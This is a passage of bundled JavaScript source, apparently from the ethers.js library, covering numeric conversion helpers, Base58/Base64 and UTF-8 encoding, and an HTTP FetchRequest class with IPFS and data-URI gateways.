\"./data.js\";\nimport { assert, assertArgument } from \"./errors.js\";\nconst BN_0 = BigInt(0);\nconst BN_1 = BigInt(1);\n//const BN_Max256 = (BN_1 << BigInt(256)) - BN_1;\n// IEEE 754 support 53-bits of mantissa\nconst maxValue = 0x1fffffffffffff;\n/**\n * Convert %%value%% from a twos-compliment representation of %%width%%\n * bits to its value.\n *\n * If the highest bit is ``1``, the result will be negative.\n */\nexport function fromTwos(_value, _width) {\n const value = getUint(_value, \"value\");\n const width = BigInt(getNumber(_width, \"width\"));\n assert((value >> width) === BN_0, \"overflow\", \"NUMERIC_FAULT\", {\n operation: \"fromTwos\", fault: \"overflow\", value: _value\n });\n // Top bit set; treat as a negative value\n if (value >> (width - BN_1)) {\n const mask = (BN_1 << width) - BN_1;\n return -(((~value) & mask) + BN_1);\n }\n return value;\n}\n/**\n * Convert %%value%% to a twos-compliment representation of\n * %%width%% bits.\n *\n * The result will always be positive.\n */\nexport function toTwos(_value, _width) {\n let value = getBigInt(_value, \"value\");\n const width = BigInt(getNumber(_width, \"width\"));\n const limit = (BN_1 << (width - BN_1));\n if (value < BN_0) {\n value = -value;\n assert(value <= limit, \"too low\", \"NUMERIC_FAULT\", {\n operation: \"toTwos\", fault: \"overflow\", value: _value\n });\n const mask = (BN_1 << width) - BN_1;\n return ((~value) & mask) + BN_1;\n }\n else {\n assert(value < limit, \"too high\", \"NUMERIC_FAULT\", {\n operation: \"toTwos\", fault: \"overflow\", value: _value\n });\n }\n return value;\n}\n/**\n * Mask %%value%% with a bitmask of %%bits%% ones.\n */\nexport function mask(_value, _bits) {\n const value = getUint(_value, \"value\");\n const bits = BigInt(getNumber(_bits, \"bits\"));\n return value & ((BN_1 << bits) - BN_1);\n}\n/**\n * Gets a BigInt from %%value%%. If it is an invalid value for\n * a BigInt, then an ArgumentError will be thrown for %%name%%.\n */\nexport function getBigInt(value, name) {\n switch (typeof (value)) {\n case \"bigint\": return value;\n case \"number\":\n assertArgument(Number.isInteger(value), \"underflow\", name || \"value\", value);\n assertArgument(value >= -maxValue && value <= maxValue, \"overflow\", name || \"value\", value);\n return BigInt(value);\n case \"string\":\n try {\n if (value === \"\") {\n throw new Error(\"empty string\");\n }\n if (value[0] === \"-\" && value[1] !== \"-\") {\n return -BigInt(value.substring(1));\n }\n return BigInt(value);\n }\n catch (e) {\n assertArgument(false, `invalid BigNumberish string: ${e.message}`, name || \"value\", value);\n }\n }\n assertArgument(false, \"invalid BigNumberish value\", name || \"value\", value);\n}\n/**\n * Returns %%value%% as a bigint, validating it is valid as a bigint\n * value and that it is positive.\n */\nexport function getUint(value, name) {\n const result = getBigInt(value, name);\n assert(result >= BN_0, \"unsigned value cannot be negative\", \"NUMERIC_FAULT\", {\n fault: \"overflow\", operation: \"getUint\", value\n });\n return result;\n}\nconst Nibbles = \"0123456789abcdef\";\n/*\n * Converts %%value%% to a BigInt. If %%value%% is a Uint8Array, it\n * is treated as Big Endian data.\n */\nexport function toBigInt(value) {\n if (value instanceof Uint8Array) {\n let result = \"0x0\";\n for (const v of value) {\n result += Nibbles[v >> 4];\n result += Nibbles[v & 0x0f];\n }\n return BigInt(result);\n }\n return getBigInt(value);\n}\n/**\n * Gets a //number// from %%value%%. If it is an invalid value for\n * a //number//, then an ArgumentError will be thrown for %%name%%.\n */\nexport function getNumber(value, name) {\n switch (typeof (value)) {\n case \"bigint\":\n assertArgument(value >= -maxValue && value <= maxValue, \"overflow\", name || \"value\", value);\n return Number(value);\n case \"number\":\n assertArgument(Number.isInteger(value), \"underflow\", name || \"value\", value);\n assertArgument(value >= -maxValue && value <= maxValue, \"overflow\", name || \"value\", value);\n return value;\n case \"string\":\n try {\n if (value === \"\") {\n throw new Error(\"empty string\");\n }\n return getNumber(BigInt(value), name);\n }\n catch (e) {\n assertArgument(false, `invalid numeric string: ${e.message}`, name || \"value\", value);\n }\n }\n assertArgument(false, \"invalid numeric value\", name || \"value\", value);\n}\n/**\n * Converts %%value%% to a number. If %%value%% is a Uint8Array, it\n * is treated as Big Endian data. Throws if the value is not safe.\n */\nexport function toNumber(value) {\n return getNumber(toBigInt(value));\n}\n/**\n * Converts %%value%% to a Big Endian hexstring, optionally padded to\n * %%width%% bytes.\n */\nexport function toBeHex(_value, _width) {\n const value = getUint(_value, \"value\");\n let result = value.toString(16);\n if (_width == null) {\n // Ensure the value is of even length\n if (result.length % 2) {\n result = \"0\" + result;\n }\n }\n else {\n const width = getNumber(_width, \"width\");\n assert(width * 2 >= result.length, `value exceeds width (${width} bytes)`, \"NUMERIC_FAULT\", {\n operation: \"toBeHex\",\n fault: \"overflow\",\n value: _value\n });\n // Pad the value to the required width\n while (result.length < (width * 2)) {\n result = \"0\" + result;\n }\n }\n return \"0x\" + result;\n}\n/**\n * Converts %%value%% to a Big Endian Uint8Array.\n */\nexport function toBeArray(_value) {\n const value = getUint(_value, \"value\");\n if (value === BN_0) {\n return new Uint8Array([]);\n }\n let hex = value.toString(16);\n if (hex.length % 2) {\n hex = \"0\" + hex;\n }\n const result = new Uint8Array(hex.length / 2);\n for (let i = 0; i < result.length; i++) {\n const offset = i * 2;\n result[i] = parseInt(hex.substring(offset, offset + 2), 16);\n }\n return result;\n}\n/**\n * Returns a [[HexString]] for %%value%% safe to use as a //Quantity//.\n *\n * A //Quantity// does not have and leading 0 values unless the value is\n * the literal value `0x0`. This is most commonly used for JSSON-RPC\n * numeric values.\n */\nexport function toQuantity(value) {\n let result = hexlify(isBytesLike(value) ? value : toBeArray(value)).substring(2);\n while (result.startsWith(\"0\")) {\n result = result.substring(1);\n }\n if (result === \"\") {\n result = \"0\";\n }\n return \"0x\" + result;\n}\n//# sourceMappingURL=maths.js.map","/**\n * The [Base58 Encoding](link-base58) scheme allows a **numeric** value\n * to be encoded as a compact string using a radix of 58 using only\n * alpha-numeric characters. Confusingly similar characters are omitted\n * (i.e. ``\"l0O\"``).\n *\n * Note that Base58 encodes a **numeric** value, not arbitrary bytes,\n * since any zero-bytes on the left would get removed. To mitigate this\n * issue most schemes that use Base58 choose specific high-order values\n * to ensure non-zero prefixes.\n *\n * @_subsection: api/utils:Base58 Encoding [about-base58]\n */\nimport { getBytes } from \"./data.js\";\nimport { assertArgument } from \"./errors.js\";\nimport { toBigInt } from \"./maths.js\";\nconst Alphabet = \"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz\";\nlet Lookup = null;\nfunction getAlpha(letter) {\n if (Lookup == null) {\n Lookup = {};\n for (let i = 0; i < Alphabet.length; i++) {\n Lookup[Alphabet[i]] = BigInt(i);\n }\n }\n const result = Lookup[letter];\n assertArgument(result != null, `invalid base58 value`, \"letter\", letter);\n return result;\n}\nconst BN_0 = BigInt(0);\nconst BN_58 = BigInt(58);\n/**\n * Encode %%value%% as a Base58-encoded string.\n */\nexport function encodeBase58(_value) {\n const bytes = getBytes(_value);\n let value = toBigInt(bytes);\n let result = \"\";\n while (value) {\n result = Alphabet[Number(value % BN_58)] + result;\n value /= BN_58;\n }\n // Account for leading padding zeros\n for (let i = 0; i < bytes.length; i++) {\n if (bytes[i]) {\n break;\n }\n result = Alphabet[0] + result;\n }\n return result;\n}\n/**\n * Decode the Base58-encoded %%value%%.\n */\nexport function decodeBase58(value) {\n let result = BN_0;\n for (let i = 0; i < value.length; i++) {\n result *= BN_58;\n result += getAlpha(value[i]);\n }\n return result;\n}\n//# sourceMappingURL=base58.js.map","// utils/base64-browser\nimport { getBytes } from \"./data.js\";\nexport function decodeBase64(textData) {\n textData = atob(textData);\n const data = new Uint8Array(textData.length);\n for (let i = 0; i < textData.length; i++) {\n data[i] = textData.charCodeAt(i);\n }\n return getBytes(data);\n}\nexport function encodeBase64(_data) {\n const data = getBytes(_data);\n let textData = \"\";\n for (let i = 0; i < data.length; i++) {\n textData += String.fromCharCode(data[i]);\n }\n return btoa(textData);\n}\n//# sourceMappingURL=base64-browser.js.map","/**\n * Events allow for applications to use the observer pattern, which\n * allows subscribing and publishing events, outside the normal\n * execution paths.\n *\n * @_section api/utils/events:Events [about-events]\n */\nimport { defineProperties } from \"./properties.js\";\n/**\n * When an [[EventEmitterable]] triggers a [[Listener]], the\n * callback always ahas one additional argument passed, which is\n * an **EventPayload**.\n */\nexport class EventPayload {\n /**\n * The event filter.\n */\n filter;\n /**\n * The **EventEmitterable**.\n */\n emitter;\n #listener;\n /**\n * Create a new **EventPayload** for %%emitter%% with\n * the %%listener%% and for %%filter%%.\n */\n constructor(emitter, listener, filter) {\n this.#listener = listener;\n defineProperties(this, { emitter, filter });\n }\n /**\n * Unregister the triggered listener for future events.\n */\n async removeListener() {\n if (this.#listener == null) {\n return;\n }\n await this.emitter.off(this.filter, this.#listener);\n }\n}\n//# sourceMappingURL=events.js.map","/**\n * Using strings in Ethereum (or any security-basd system) requires\n * additional care. These utilities attempt to mitigate some of the\n * safety issues as well as provide the ability to recover and analyse\n * strings.\n *\n * @_subsection api/utils:Strings and UTF-8 [about-strings]\n */\nimport { getBytes } from \"./data.js\";\nimport { assertArgument, assertNormalize } from \"./errors.js\";\nfunction errorFunc(reason, offset, bytes, output, badCodepoint) {\n assertArgument(false, `invalid codepoint at offset ${offset}; ${reason}`, \"bytes\", bytes);\n}\nfunction ignoreFunc(reason, offset, bytes, output, badCodepoint) {\n // If there is an invalid prefix (including stray continuation), skip any additional continuation bytes\n if (reason === \"BAD_PREFIX\" || reason === \"UNEXPECTED_CONTINUE\") {\n let i = 0;\n for (let o = offset + 1; o < bytes.length; o++) {\n if (bytes[o] >> 6 !== 0x02) {\n break;\n }\n i++;\n }\n return i;\n }\n // This byte runs us past the end of the string, so just jump to the end\n // (but the first byte was read already read and therefore skipped)\n if (reason === \"OVERRUN\") {\n return bytes.length - offset - 1;\n }\n // Nothing to skip\n return 0;\n}\nfunction replaceFunc(reason, offset, bytes, output, badCodepoint) {\n // Overlong representations are otherwise \"valid\" code points; just non-deistingtished\n if (reason === \"OVERLONG\") {\n assertArgument(typeof (badCodepoint) === \"number\", \"invalid bad code point for replacement\", \"badCodepoint\", badCodepoint);\n output.push(badCodepoint);\n return 0;\n }\n // Put the replacement character into the output\n output.push(0xfffd);\n // Otherwise, process as if ignoring errors\n return ignoreFunc(reason, offset, bytes, output, badCodepoint);\n}\n/**\n * A handful of popular, built-in UTF-8 error handling strategies.\n *\n * **``\"error\"``** - throws on ANY illegal UTF-8 sequence or\n * non-canonical (overlong) codepoints (this is the default)\n *\n * **``\"ignore\"``** - silently drops any illegal UTF-8 sequence\n * and accepts non-canonical (overlong) codepoints\n *\n * **``\"replace\"``** - replace any illegal UTF-8 sequence with the\n * UTF-8 replacement character (i.e. ``\"\\\\ufffd\"``) and accepts\n * non-canonical (overlong) codepoints\n *\n * @returns: Record<\"error\" | \"ignore\" | \"replace\", Utf8ErrorFunc>\n */\nexport const Utf8ErrorFuncs = Object.freeze({\n error: errorFunc,\n ignore: ignoreFunc,\n replace: replaceFunc\n});\n// http://stackoverflow.com/questions/13356493/decode-utf-8-with-javascript#13691499\nfunction getUtf8CodePoints(_bytes, onError) {\n if (onError == null) {\n onError = Utf8ErrorFuncs.error;\n }\n const bytes = getBytes(_bytes, \"bytes\");\n const result = [];\n let i = 0;\n // Invalid bytes are ignored\n while (i < bytes.length) {\n const c = bytes[i++];\n // 0xxx xxxx\n if (c >> 7 === 0) {\n result.push(c);\n continue;\n }\n // Multibyte; how many bytes left for this character?\n let extraLength = null;\n let overlongMask = null;\n // 110x xxxx 10xx xxxx\n if ((c & 0xe0) === 0xc0) {\n extraLength = 1;\n overlongMask = 0x7f;\n // 1110 xxxx 10xx xxxx 10xx xxxx\n }\n else if ((c & 0xf0) === 0xe0) {\n extraLength = 2;\n overlongMask = 0x7ff;\n // 1111 0xxx 10xx xxxx 10xx xxxx 10xx xxxx\n }\n else if ((c & 0xf8) === 0xf0) {\n extraLength = 3;\n overlongMask = 0xffff;\n }\n else {\n if ((c & 0xc0) === 0x80) {\n i += onError(\"UNEXPECTED_CONTINUE\", i - 1, bytes, result);\n }\n else {\n i += onError(\"BAD_PREFIX\", i - 1, bytes, result);\n }\n continue;\n }\n // Do we have enough bytes in our data?\n if (i - 1 + extraLength >= bytes.length) {\n i += onError(\"OVERRUN\", i - 1, bytes, result);\n continue;\n }\n // Remove the length prefix from the char\n let res = c & ((1 << (8 - extraLength - 1)) - 1);\n for (let j = 0; j < extraLength; j++) {\n let nextChar = bytes[i];\n // Invalid continuation byte\n if ((nextChar & 0xc0) != 0x80) {\n i += onError(\"MISSING_CONTINUE\", i, bytes, result);\n res = null;\n break;\n }\n ;\n res = (res << 6) | (nextChar & 0x3f);\n i++;\n }\n // See above loop for invalid continuation byte\n if (res === null) {\n continue;\n }\n // Maximum code point\n if (res > 0x10ffff) {\n i += onError(\"OUT_OF_RANGE\", i - 1 - extraLength, bytes, result, res);\n continue;\n }\n // Reserved for UTF-16 surrogate halves\n if (res >= 0xd800 && res <= 0xdfff) {\n i += onError(\"UTF16_SURROGATE\", i - 1 - extraLength, bytes, result, res);\n continue;\n }\n // Check for overlong sequences (more bytes than needed)\n if (res <= overlongMask) {\n i += onError(\"OVERLONG\", i - 1 - extraLength, bytes, result, res);\n continue;\n }\n result.push(res);\n }\n return result;\n}\n// http://stackoverflow.com/questions/18729405/how-to-convert-utf8-string-to-byte-array\n/**\n * Returns the UTF-8 byte representation of %%str%%.\n *\n * If %%form%% is specified, the string is normalized.\n */\nexport function toUtf8Bytes(str, form) {\n assertArgument(typeof (str) === \"string\", \"invalid string value\", \"str\", str);\n if (form != null) {\n assertNormalize(form);\n str = str.normalize(form);\n }\n let result = [];\n for (let i = 0; i < str.length; i++) {\n const c = str.charCodeAt(i);\n if (c < 0x80) {\n result.push(c);\n }\n else if (c < 0x800) {\n result.push((c >> 6) | 0xc0);\n result.push((c & 0x3f) | 0x80);\n }\n else if ((c & 0xfc00) == 0xd800) {\n i++;\n const c2 = str.charCodeAt(i);\n assertArgument(i < str.length && ((c2 & 0xfc00) === 0xdc00), \"invalid surrogate pair\", \"str\", str);\n // Surrogate Pair\n const pair = 0x10000 + ((c & 0x03ff) << 10) + (c2 & 0x03ff);\n result.push((pair >> 18) | 0xf0);\n result.push(((pair >> 12) & 0x3f) | 0x80);\n result.push(((pair >> 6) & 0x3f) | 0x80);\n result.push((pair & 0x3f) | 0x80);\n }\n else {\n result.push((c >> 12) | 0xe0);\n result.push(((c >> 6) & 0x3f) | 0x80);\n result.push((c & 0x3f) | 0x80);\n }\n }\n return new Uint8Array(result);\n}\n;\n//export \nfunction _toUtf8String(codePoints) {\n return codePoints.map((codePoint) => {\n if (codePoint <= 0xffff) {\n return String.fromCharCode(codePoint);\n }\n codePoint -= 0x10000;\n return String.fromCharCode((((codePoint >> 10) & 0x3ff) + 0xd800), ((codePoint & 0x3ff) + 0xdc00));\n }).join(\"\");\n}\n/**\n * Returns the string represented by the UTF-8 data %%bytes%%.\n *\n * When %%onError%% function is specified, it is called on UTF-8\n * errors allowing recovery using the [[Utf8ErrorFunc]] API.\n * (default: [error](Utf8ErrorFuncs))\n */\nexport function toUtf8String(bytes, onError) {\n return _toUtf8String(getUtf8CodePoints(bytes, onError));\n}\n/**\n * Returns the UTF-8 code-points for %%str%%.\n *\n * If %%form%% is specified, the string is normalized.\n */\nexport function toUtf8CodePoints(str, form) {\n return getUtf8CodePoints(toUtf8Bytes(str, form));\n}\n//# sourceMappingURL=utf8.js.map","import { assert, makeError } from \"./errors.js\";\nexport function createGetUrl(options) {\n async function getUrl(req, _signal) {\n assert(_signal == null || !_signal.cancelled, \"request cancelled before sending\", \"CANCELLED\");\n const protocol = req.url.split(\":\")[0].toLowerCase();\n assert(protocol === \"http\" || protocol === \"https\", `unsupported protocol ${protocol}`, \"UNSUPPORTED_OPERATION\", {\n info: { protocol },\n operation: \"request\"\n });\n assert(protocol === \"https\" || !req.credentials || req.allowInsecureAuthentication, \"insecure authorized connections unsupported\", \"UNSUPPORTED_OPERATION\", {\n operation: \"request\"\n });\n let error = null;\n const controller = new AbortController();\n const timer = setTimeout(() => {\n error = makeError(\"request timeout\", \"TIMEOUT\");\n controller.abort();\n }, req.timeout);\n if (_signal) {\n _signal.addListener(() => {\n error = makeError(\"request cancelled\", \"CANCELLED\");\n controller.abort();\n });\n }\n const init = Object.assign({}, options, {\n method: req.method,\n headers: new Headers(Array.from(req)),\n body: req.body || undefined,\n signal: controller.signal\n });\n let resp;\n try {\n resp = await fetch(req.url, init);\n }\n catch (_error) {\n clearTimeout(timer);\n if (error) {\n throw error;\n }\n throw _error;\n }\n clearTimeout(timer);\n const headers = {};\n resp.headers.forEach((value, key) => {\n headers[key.toLowerCase()] = value;\n });\n const respBody = await resp.arrayBuffer();\n const body = (respBody == null) ? null : new Uint8Array(respBody);\n return {\n statusCode: resp.status,\n statusMessage: resp.statusText,\n headers, body\n };\n }\n return getUrl;\n}\n// @TODO: remove in v7; provided for backwards compat\nconst defaultGetUrl = createGetUrl({});\nexport async function getUrl(req, _signal) {\n return defaultGetUrl(req, _signal);\n}\n//# sourceMappingURL=geturl-browser.js.map","/**\n * Fetching content from the web is environment-specific, so Ethers\n * provides an abstraction that each environment can implement to provide\n * this service.\n *\n * On [Node.js](link-node), the ``http`` and ``https`` libs are used to\n * create a request object, register event listeners and process data\n * and populate the [[FetchResponse]].\n *\n * In a browser, the [DOM fetch](link-js-fetch) is used, and the resulting\n * ``Promise`` is waited on to retrieve the payload.\n *\n * The [[FetchRequest]] is responsible for handling many common situations,\n * such as redirects, server throttling, authentication, etc.\n *\n * It also handles common gateways, such as IPFS and data URIs.\n *\n * @_section api/utils/fetching:Fetching Web Content [about-fetch]\n */\nimport { decodeBase64, encodeBase64 } from \"./base64.js\";\nimport { hexlify } from \"./data.js\";\nimport { assert, assertArgument } from \"./errors.js\";\nimport { defineProperties } from \"./properties.js\";\nimport { toUtf8Bytes, toUtf8String } from \"./utf8.js\";\nimport { createGetUrl } from \"./geturl.js\";\nconst MAX_ATTEMPTS = 12;\nconst SLOT_INTERVAL = 250;\n// The global FetchGetUrlFunc implementation.\nlet defaultGetUrlFunc = createGetUrl();\nconst reData = new RegExp(\"^data:([^;:]*)?(;base64)?,(.*)$\", \"i\");\nconst reIpfs = new RegExp(\"^ipfs:/\\/(ipfs/)?(.*)$\", \"i\");\n// If locked, new Gateways cannot be added\nlet locked = false;\n// https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URLs\nasync function dataGatewayFunc(url, signal) {\n try {\n const match = url.match(reData);\n if (!match) {\n throw new Error(\"invalid data\");\n }\n return new FetchResponse(200, \"OK\", {\n \"content-type\": (match[1] || \"text/plain\"),\n }, (match[2] ? decodeBase64(match[3]) : unpercent(match[3])));\n }\n catch (error) {\n return new FetchResponse(599, \"BAD REQUEST (invalid data: URI)\", {}, null, new FetchRequest(url));\n }\n}\n/**\n * Returns a [[FetchGatewayFunc]] for fetching content from a standard\n * IPFS gateway hosted at %%baseUrl%%.\n */\nfunction getIpfsGatewayFunc(baseUrl) {\n async function gatewayIpfs(url, signal) {\n try {\n const match = url.match(reIpfs);\n if (!match) {\n throw new Error(\"invalid link\");\n }\n return new FetchRequest(`${baseUrl}${match[2]}`);\n }\n catch (error) {\n return new FetchResponse(599, \"BAD REQUEST (invalid IPFS URI)\", {}, null, new FetchRequest(url));\n }\n }\n return gatewayIpfs;\n}\nconst Gateways = {\n \"data\": dataGatewayFunc,\n \"ipfs\": getIpfsGatewayFunc(\"https:/\\/gateway.ipfs.io/ipfs/\")\n};\nconst fetchSignals = new WeakMap();\n/**\n * @_ignore\n */\nexport class FetchCancelSignal {\n #listeners;\n #cancelled;\n constructor(request) {\n this.#listeners = [];\n this.#cancelled = false;\n fetchSignals.set(request, () => {\n if (this.#cancelled) {\n return;\n }\n this.#cancelled = true;\n for (const listener of this.#listeners) {\n setTimeout(() => { listener(); }, 0);\n }\n this.#listeners = [];\n });\n }\n addListener(listener) {\n assert(!this.#cancelled, \"singal already cancelled\", \"UNSUPPORTED_OPERATION\", {\n operation: \"fetchCancelSignal.addCancelListener\"\n });\n this.#listeners.push(listener);\n }\n get cancelled() { return this.#cancelled; }\n checkSignal() {\n assert(!this.cancelled, \"cancelled\", \"CANCELLED\", {});\n }\n}\n// Check the signal, throwing if it is cancelled\nfunction checkSignal(signal) {\n if (signal == null) {\n throw new Error(\"missing signal; should not happen\");\n }\n signal.checkSignal();\n return signal;\n}\n/**\n * Represents a request for a resource using a URI.\n *\n * By default, the supported schemes are ``HTTP``, ``HTTPS``, ``data:``,\n * and ``IPFS:``.\n *\n * Additional schemes can be added globally using [[registerGateway]].\n *\n * @example:\n * req = new FetchRequest(\"https://www.ricmoo.com\")\n * resp = await req.send()\n * resp.body.length\n * //_result:\n */\nexport class FetchRequest {\n #allowInsecure;\n #gzip;\n #headers;\n #method;\n #timeout;\n #url;\n #body;\n #bodyType;\n #creds;\n // Hooks\n #preflight;\n #process;\n #retry;\n #signal;\n #throttle;\n #getUrlFunc;\n /**\n * The fetch URL to request.\n */\n get url() { return this.#url; }\n set url(url) {\n this.#url = String(url);\n }\n /**\n * The fetch body, if any, to send as the request body. //(default: null)//\n *\n * When setting a body, the intrinsic ``Content-Type`` is automatically\n * set and will be used if **not overridden** by setting a custom\n * header.\n *\n * If %%body%% is null, the body is cleared (along with the\n * intrinsic ``Content-Type``).\n *\n * If %%body%% is a string, the intrinsic ``Content-Type`` is set to\n * ``text/plain``.\n *\n * If %%body%% is a Uint8Array, the intrinsic ``Content-Type`` is set to\n * ``application/octet-stream``.\n *\n * If %%body%% is any other object, the intrinsic ``Content-Type`` is\n * set to ``application/json``.\n */\n get body() {\n if (this.#body == null) {\n return null;\n }\n return new Uint8Array(this.#body);\n }\n set body(body) {\n if (body == null) {\n this.#body = undefined;\n this.#bodyType = undefined;\n }\n else if (typeof (body) === \"string\") {\n this.#body = toUtf8Bytes(body);\n this.#bodyType = \"text/plain\";\n }\n else if (body instanceof Uint8Array) {\n this.#body = body;\n this.#bodyType = \"application/octet-stream\";\n }\n else if (typeof (body) === \"object\") {\n this.#body = toUtf8Bytes(JSON.stringify(body));\n this.#bodyType = \"application/json\";\n }\n else {\n throw new Error(\"invalid body\");\n }\n }\n /**\n * Returns true if the request has a body.\n */\n hasBody() {\n return (this.#body != null);\n }\n /**\n * The HTTP method to use when requesting the URI. If no method\n * has been explicitly set, then ``GET`` is used if the body is\n * null and ``POST`` otherwise.\n */\n get method() {\n if (this.#method) {\n return this.#method;\n }\n if (this.hasBody()) {\n return \"POST\";\n }\n return \"GET\";\n }\n set method(method) {\n if (method == null) {\n method = \"\";\n }\n this.#method = String(method).toUpperCase();\n }\n /**\n * The headers that will be used when requesting the URI. All\n * keys are lower-case.\n *\n * This object is a copy, so any changes will **NOT** be reflected\n * in the ``FetchRequest``.\n *\n * To set a header entry, use the ``setHeader`` method.\n */\n get headers() {\n const headers = Object.assign({}, this.#headers);\n if (this.#creds) {\n headers[\"authorization\"] = `Basic ${encodeBase64(toUtf8Bytes(this.#creds))}`;\n }\n ;\n if (this.allowGzip) {\n headers[\"accept-encoding\"] = \"gzip\";\n }\n if (headers[\"content-type\"] == null && this.#bodyType) {\n headers[\"content-type\"] = this.#bodyType;\n }\n if (this.body) {\n headers[\"content-length\"] = String(this.body.length);\n }\n return headers;\n }\n /**\n * Get the header for %%key%%, ignoring case.\n */\n getHeader(key) {\n return this.headers[key.toLowerCase()];\n }\n /**\n * Set the header for %%key%% to %%value%%. All values are coerced\n * to a string.\n */\n setHeader(key, value) {\n this.#headers[String(key).toLowerCase()] = String(value);\n }\n /**\n * Clear all headers, resetting all intrinsic headers.\n */\n clearHeaders() {\n this.#headers = {};\n }\n [Symbol.iterator]() {\n const headers = this.headers;\n const keys = Object.keys(headers);\n let index = 0;\n return {\n next: () => {\n if (index < keys.length) {\n const key = keys[index++];\n return {\n value: [key, headers[key]], done: false\n };\n }\n return { value: undefined, done: true };\n }\n };\n }\n /**\n * The value that will be sent for the ``Authorization`` header.\n *\n * To set the credentials, use the ``setCredentials`` method.\n */\n get credentials() {\n return this.#creds || null;\n }\n /**\n * Sets an ``Authorization`` for %%username%% with %%password%%.\n */\n setCredentials(username, password) {\n assertArgument(!username.match(/:/), \"invalid basic authentication username\", \"username\", \"[REDACTED]\");\n this.#creds = `${username}:${password}`;\n }\n /**\n * Enable and request gzip-encoded responses. The response will\n * automatically be decompressed. //(default: true)//\n */\n get allowGzip() {\n return this.#gzip;\n }\n set allowGzip(value) {\n this.#gzip = !!value;\n }\n /**\n * Allow ``Authentication`` credentials to be sent over insecure\n * channels. //(default: false)//\n */\n get allowInsecureAuthentication() {\n return !!this.#allowInsecure;\n }\n set allowInsecureAuthentication(value) {\n this.#allowInsecure = !!value;\n }\n /**\n * The timeout (in milliseconds) to wait for a complete response.\n * //(default: 5 minutes)//\n */\n get timeout() { return this.#timeout; }\n set timeout(timeout) {\n assertArgument(timeout >= 0, \"timeout must be non-zero\", \"timeout\", timeout);\n this.#timeout = timeout;\n }\n /**\n * This function is called prior to each request, for example\n * during a redirection or retry in case of server throttling.\n *\n * This offers an opportunity to populate headers or update\n * content before sending a request.\n */\n get preflightFunc() {\n return this.#preflight || null;\n }\n set preflightFunc(preflight) {\n this.#preflight = preflight;\n }\n /**\n * This function is called after each response, offering an\n * opportunity to provide client-level throttling or updating\n * response data.\n *\n * Any error thrown in this causes the ``send()`` to throw.\n *\n * To schedule a retry attempt (assuming the maximum retry limit\n * has not been reached), use [[response.throwThrottleError]].\n */\n get processFunc() {\n return this.#process || null;\n }\n set processFunc(process) {\n this.#process = process;\n }\n /**\n * This function is called on each retry attempt.\n */\n get retryFunc() {\n return this.#retry || null;\n }\n set retryFunc(retry) {\n this.#retry = retry;\n }\n /**\n * This function is called to fetch content from HTTP and\n * HTTPS URLs and is platform specific (e.g. nodejs vs\n * browsers).\n *\n * This is by default the currently registered global getUrl\n * function, which can be changed using [[registerGetUrl]].\n * If this has been set, setting is to ``null`` will cause\n * this FetchRequest (and any future clones) to revert back to\n * using the currently registered global getUrl function.\n *\n * Setting this is generally not necessary, but may be useful\n * for developers that wish to intercept requests or to\n * configurege a proxy or other agent.\n */\n get getUrlFunc() {\n return this.#getUrlFunc || defaultGetUrlFunc;\n }\n set getUrlFunc(value) {\n this.#getUrlFunc = value;\n }\n /**\n * Create a new FetchRequest instance with default values.\n *\n * Once created, each property may be set before issuing a\n * ``.send()`` to make the request.\n */\n constructor(url) {\n this.#url = String(url);\n this.#allowInsecure = false;\n this.#gzip = true;\n this.#headers = {};\n this.#method = \"\";\n this.#timeout = 300000;\n this.#throttle = {\n slotInterval: SLOT_INTERVAL,\n maxAttempts: MAX_ATTEMPTS\n };\n this.#getUrlFunc = null;\n }\n toString() {\n return ``;\n }\n /**\n * Update the throttle parameters used to determine maximum\n * attempts and exponential-backoff properties.\n */\n setThrottleParams(params) {\n if (params.slotInterval != null) {\n this.#throttle.slotInterval = params.slotInterval;\n }\n if (params.maxAttempts != null) {\n this.#throttle.maxAttempts = params.maxAttempts;\n }\n }\n async #send(attempt, expires, delay, _request, _response) {\n if (attempt >= this.#throttle.maxAttempts) {\n return _response.makeServerError(\"exceeded maximum retry limit\");\n }\n assert(getTime() <= expires, \"timeout\", \"TIMEOUT\", {\n operation: \"request.send\", reason: \"timeout\", request: _request\n });\n if (delay > 0) {\n await wait(delay);\n }\n let req = this.clone();\n const scheme = (req.url.split(\":\")[0] || \"\").toLowerCase();\n // Process any Gateways\n if (scheme in Gateways) {\n const result = await Gateways[scheme](req.url, checkSignal(_request.#signal));\n if (result instanceof FetchResponse) {\n let response = result;\n if (this.processFunc) {\n checkSignal(_request.#signal);\n try {\n response = await this.processFunc(req, response);\n }\n catch (error) {\n // Something went wrong during processing; throw a 5xx server error\n if (error.throttle == null || typeof (error.stall) !== \"number\") {\n response.makeServerError(\"error in post-processing function\", error).assertOk();\n }\n // Ignore throttling\n }\n }\n return response;\n }\n req = result;\n }\n // We have a preflight function; update the request\n if (this.preflightFunc) {\n req = await this.preflightFunc(req);\n }\n const resp = await this.getUrlFunc(req, checkSignal(_request.#signal));\n let response = new FetchResponse(resp.statusCode, resp.statusMessage, resp.headers, resp.body, _request);\n if (response.statusCode === 301 || response.statusCode === 302) {\n // Redirect\n try {\n const location = response.headers.location || \"\";\n return req.redirect(location).#send(attempt + 1, expires, 0, _request, response);\n }\n catch (error) { }\n // Things won't get any better on another attempt; abort\n return response;\n }\n else if (response.statusCode === 429) {\n // Throttle\n if (this.retryFunc == null || (await this.retryFunc(req, response, attempt))) {\n const retryAfter = response.headers[\"retry-after\"];\n let delay = this.#throttle.slotInterval * Math.trunc(Math.random() * Math.pow(2, attempt));\n if (typeof (retryAfter) === \"string\" && retryAfter.match(/^[1-9][0-9]*$/)) {\n delay = parseInt(retryAfter);\n }\n return req.clone().#send(attempt + 1, expires, delay, _request, response);\n }\n }\n if (this.processFunc) {\n checkSignal(_request.#signal);\n try {\n response = await this.processFunc(req, response);\n }\n catch (error) {\n // Something went wrong during processing; throw a 5xx server error\n if (error.throttle == null || typeof (error.stall) !== \"number\") {\n response.makeServerError(\"error in post-processing function\", error).assertOk();\n }\n // Throttle\n let delay = this.#throttle.slotInterval * Math.trunc(Math.random() * Math.pow(2, attempt));\n ;\n if (error.stall >= 0) {\n delay = error.stall;\n }\n return req.clone().#send(attempt + 1, expires, delay, _request, response);\n }\n }\n return response;\n }\n /**\n * Resolves to the response by sending the request.\n */\n send() {\n assert(this.#signal == null, \"request already sent\", \"UNSUPPORTED_OPERATION\", { operation: \"fetchRequest.send\" });\n this.#signal = new FetchCancelSignal(this);\n return this.#send(0, getTime() + this.timeout, 0, this, new 